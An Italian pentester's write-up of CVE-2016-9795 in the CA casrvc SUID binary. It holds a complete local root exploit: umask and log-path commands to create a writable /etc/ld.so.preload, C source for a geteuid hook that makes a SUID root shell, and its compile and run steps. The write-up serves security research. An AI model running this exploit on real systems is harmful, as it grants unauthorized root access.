
Rivisitazione dell'escalation dei privilegi CVE-2016-9795 (binario casrvc della suite CA Common Services)
In uno dei miei penetration test, mi sono imbattuto nel binario SUID casrvc (che fa parte della suite CA Common Services). Come ho scoperto, il binario è vulnerabile all'escalation locale dei privilegi. In effetti, un CVE pubblico (CVE-2016-9795) era già stato attribuito a questa vulnerabilità dal gruppo NCC.
La vulnerabilità è davvero banale e, come ho scoperto in seguito, il gruppo NCC ha divulgato un Proof-Of-Concept nel loro advisory PDF (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf). Tuttavia, durante il mio impegno di penetration test, ho scelto un percorso di sfruttamento diverso che, per cominciare, è un'alternativa praticabile e possibilmente meno rischiosa se eseguita correttamente.
La vulnerabilità risiede nel binario SUID casrvc che espone una funzionalità che consente all'utente di scegliere il nome del file (e il percorso assoluto) in cui verranno scritti i log. Parte di questo file di log è controllata dall'utente, quindi alla fine questo fornisce all'utente non privilegiato una scrittura arbitraria più o meno controllata.
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**
Il PoC già esistente concatena semplicemente l'output del log al file /etc/passwd per aggiungere un'altra voce utente nel gruppo root. Concatenare roba a /etc/passwd a volte può essere rischioso e nel mio caso volevo evitare di far crashare il server a tutti i costi.
La tecnica di sfruttamento non è nuova ed è stata trattata da molti altri ricercatori (tra cui @dawid_golunski, @itm4n). Si applica a questo binario e ne parlo qui a scopo educativo.
Consiste nell'appendere o creare il file /etc/ld.so.preload. Questo file, come descritto nel manuale Linux man ld.so, consente di definire un elenco di nomi di librerie (uno per riga) che verranno caricate ogni volta che viene eseguito un binario.
/etc/ld.so.preload
File containing a whitespace-separated list of ELF shared objects to be loaded before
the program. See the discussion of LD_PRELOAD above. If both LD_PRELOAD and
/etc/ld.so.preload are employed, the libraries specified by LD_PRELOAD are preloaded
first. /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
be preloaded for all programs that are executed on the system. (This is usually unde‐
sirable, and is typically employed only as an emergency remedy, for example, as a tem‐
porary workaround to a library misconfiguration issue.)
La specificità di questo file è che le librerie precaricate vengono caricate per OGNI programma eseguito sul sistema, inclusi i programmi SUID. Questo ovviamente non è il caso della variabile d'ambiente 'LD_PRELOAD' che può essere impostata da qualsiasi utente per precaricare librerie nel contesto della propria sessione.
Per controllare completamente il contenuto del file creato, utilizziamo il comando umask per impostare la maschera di creazione della modalità del file. In questo modo, quando il file di log viene creato, avrà permessi di lettura e scrittura per tutti.
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
Cerchiamo di cancellare il contenuto del file abbastanza rapidamente poiché dopo l'esecuzione dell'eseguibile casrvc il contenuto non contiene librerie .so valide e genererà messaggi di errore ogni volta che viene avviato un programma sul computer.
Nel nostro caso, il trucco con umask funziona. A volte però, gli eseguibili impostano il valore di umask da soli, nel qual caso il nostro valore di umask viene sovrascritto e ignorato.
Successivamente creiamo un file .so. Di seguito è riportato il codice sorgente per questo file .so. Fa tre cose:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
Per compilarlo semplicemente
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
Nei comandi precedenti presupponiamo che la partizione /tmp non sia montata con le proprietà NOEXEC né NOSUID.
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)